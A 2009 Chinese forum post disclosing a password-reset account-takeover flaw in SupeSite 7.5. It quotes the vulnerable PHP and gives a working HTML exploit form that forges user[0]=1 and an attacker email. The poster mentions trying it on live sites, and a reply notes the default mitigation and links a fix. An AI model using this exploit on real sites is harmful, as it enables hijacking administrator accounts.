本帖最后由 lidq.jingwu 于 2009-12-23 11:58 编辑
- supesite7.5找回密码的鸡肋问题!
- 02
- 03 source/do_lostpasswd.php 这是找回密码的文件!
- 04
- 05
- 06 if(submitcheck('lostpwsubmit')) {
- 07
- 08 $_POST['username'] = trim($_POST['username']);
- 09
- 10 if ($_POST['username']) {
- 11 $user = uc_get_user($_POST['username']);
- 12 $query = $_SGLOBAL['db']->query("SELECT * FROM ".tname('userlog')." WHERE uid='$user[0]'");
- 13
- 14 if ($_SGLOBAL['db']->fetch_array($query)) {
- 15 showmessage('user_delete', geturl('action/login'), 10);
- 16 }
- 17
- 18 $query = $_SGLOBAL['db']->query("SELECT uid, groupid, flag, email FROM ".tname('members')." WHERE uid='$user[0]'");
- 19 $member = $_SGLOBAL['db']->fetch_array($query);
- 20 if(empty($member)) {
- 21 showmessage('user_does_not_exist', S_URL.'/do.php?action=lostpasswd');
- 22 }
- 23 $uemail = empty($member['email']) ? substr($user[2], strpos($user[2], '@')) : substr($member['email'], strpos($member['email'], '@'));
- 24 // 管理员组, 有站点设置权限, 受保护用户不可找回密码
- 25 if ($member['groupid'] == 1 || checkperm('managesettings', $member['groupid']) || $member['flag']) {
- 26 showmessage('getpasswd_account_invalid', S_URL.'/do.php?action=lostpasswd', 10);
- 27 }
- 28 }
- 29
- 30 $_POST['email'] = trim($_POST['email']);
- 31
- 32
- 33 if ($_POST['email']) {
- 34 if ($_POST['email'] == $user[2] || $_POST['email'] == $member['email']) { //邮箱验证
- 35 include(S_ROOT.'./function/sendmail.fun.php');
- 36 $idstring = random(6);
- 37 $reseturl = $_SC['siteurl'].'/do.php?action=lostpasswd&op=reset&uid='.$user[0].'&id='.$idstring;
- 38 updatetable('members', array('authstr'=>$_SGLOBAL['timestamp']."\t1\t".$idstring), array('uid'=>$user[0]));
- 39 $message = str_replace('\\1', "$reseturl", $lang['get_passwd_message']);
- 40 if(!sendmail(array($_POST['email']), $lang['get_passwd_subject'], $message)) {
- 41 showmessage('mail_send_fail', geturl('action/login'), 10);
- 42 }
- 43 showmessage('email_send_success', geturl('action/login'), 10);
- 44 }else {
- 45 showmessage('email_username_does_not_match', S_URL.'/do.php?action=lostpasswd', 10);
- 46 }
- 47 }
- 48
- 49 }
- 50 从以上相关代码可以看到我们如果不提交$_POST['username'],那么$user和$member数组是没有初始化的,可以直接构造它们绕过相关检查条件,发送任意要取回密码用户的邮件到我们指定的邮箱!
- 51 鸡肋地方在于系统register_globals = On,并且程序能正常发送邮件!
- 52 利用方法如下:
- 53
- 54 <form name="a" action="http://127.0.0.1/supersite7.5/do.php?action=lostpasswd&user[2]
- 55
- 56 =xxxxx@qq.com&user[0]=1" method="post">
- 57 <input type="hidden" name="formhash" value="f9659fba" />
- 58 <input type="hidden" value="true" name="lostpwsubmit"/>
- 59 <th>邮箱</th>
- 60 <input type="text" value="xxxxx@qq.com" name="email" size="30"/>
- 61 <input type="submit" value="提交" class="input_search"/>
- 62 </form>
- 63
- 64 注:本人在网上找了几个站测试了下效果不理想,大多是没开启register_globals或邮件功能的!
- 65 写出来和大家多交流学习!
复制代码
register_globals 选项默认是关闭,只有人为原因才会将此选项开启。
关于register_globals 的问题在网上有很多,都是要求关闭的,大部分的服务器也是这样做的,所以大可不必惊慌。
解决伪造请求,获取密码问题[7.5]:https://discuz.dismall.com/thread-1523398-1-1.html
|